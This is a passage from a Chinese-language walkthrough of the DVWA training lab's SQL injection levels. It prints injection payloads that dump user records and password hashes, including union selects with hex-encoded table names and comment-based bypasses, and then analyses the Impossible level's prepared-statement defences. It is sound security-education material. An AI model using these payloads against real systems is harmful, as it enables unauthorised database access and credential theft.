Medium级别使用了mysqli_real_escape_string()函数对输入进行转义: $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);此函数转义以下字符:\x00, \n, \r, \, ', "和\x1a。 但是查询语句发生了变化: $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";注意这里不再使用引号包围$id,说明是数字型注入,因此转义函数无法防止注入。 4.2 注入步骤 4.2.1 判断注入类型 由于前端改为下拉菜单,需要使用Burp Suite等工具抓包修改参数。 抓包后修改id参数为: id=1 or 1=1#页面显示所有用户信息,说明存在数字型注入。 4.2.2 确定字段数 id=1 order by 2#回显正常 id=1 order by 3#回显错误,确定字段数为2。 4.2.3 获取数据库信息 后续步骤与Low级别类似,但需要注意: 不需要单引号闭合 如果需要查询指定表名,需要将表名转换为十六进制绕过过滤 例如查询users表的列名: id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#这里0x7573657273是users的十六进制表示。 5 High级别通关详解 5.1 漏洞分析 High级别的SQL查询语句增加了LIMIT 1限制: $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";这旨在限制只返回一个结果,但可以通过注释符#绕过这一限制。 5.2 注入步骤 High级别的注入点位于另一个页面,需要通过点击"here to change your ID"链接进入。 注入过程与Low级别类似,只需要在注入payload末尾添加#注释掉后面的LIMIT 1: id=1' union select user,password from users# 这样就能获取所有用户信息,而不受LIMIT 1的限制。 6 Impossible级别防御分析 Impossible级别采用了多种安全措施,有效防止了SQL注入: 6.1 PDO预处理语句 $data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;'); $data->bindParam(':id', $id, PDO::PARAM_INT); $data->execute();使用PDO预处理语句将代码与数据完全分离,用户输入不再被解释为SQL代码的一部分。 6.2 输入类型检查 if(is_numeric($id))检查输入是否为数字类型,确保输入符合预期格式。 6.3 结果数量检查 if($data->rowCount() == 1)确保只返回一个结果,防止信息泄露。 6.4 CSRF令牌保护 checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');实施CSRF令牌机制,防止CSRF攻击。 7 SQL注入防御方案 根据DVWA四个级别的防护措施,总结SQL注入的有效防御方案: 使用预处理语句(PDO或MySQLi) 这是最有效、最根本的防御方式,能彻底分离代码和数据。 严格输入验证和过滤 对用户输入进行严格的白名单验证,只允许符合特定格式的输入。 最小权限原则 Web应用程序连接数据库时应使用最低权限账户,避免使用管理员账户。 错误信息处理 自定义错误信息,避免向用户暴露数据库结构信息。 多层安全防护 使用WAF、IDS/IPS等安全设备提供额外保护层。 8 总结 通过DVWA四个级别的SQL注入实验,我们可以得出以下结论: Low级别:完全没有防护,最容易利用,但也最能展示SQL注入的原理和危害。 Medium级别:试图通过转义特殊字符进行防护,但由于注入类型判断错误,防护效果有限。 High级别:增加了结果数量限制,但可以通过简单注释绕过,防护仍不完善。 Impossible级别:采用预处理语句、输入验证和多层防护,提供了有效的安全保障。 最重要的是:在实际开发中,应该始终使用Prepared Statements(预处理语句)来防止SQL注入攻击,这是唯一被证明有效且全面的防御方式。 希望本文能帮助你理解SQL注入的原理、利用技巧和防御方法,在今后的开发和测试工作中更好地应用这些知识。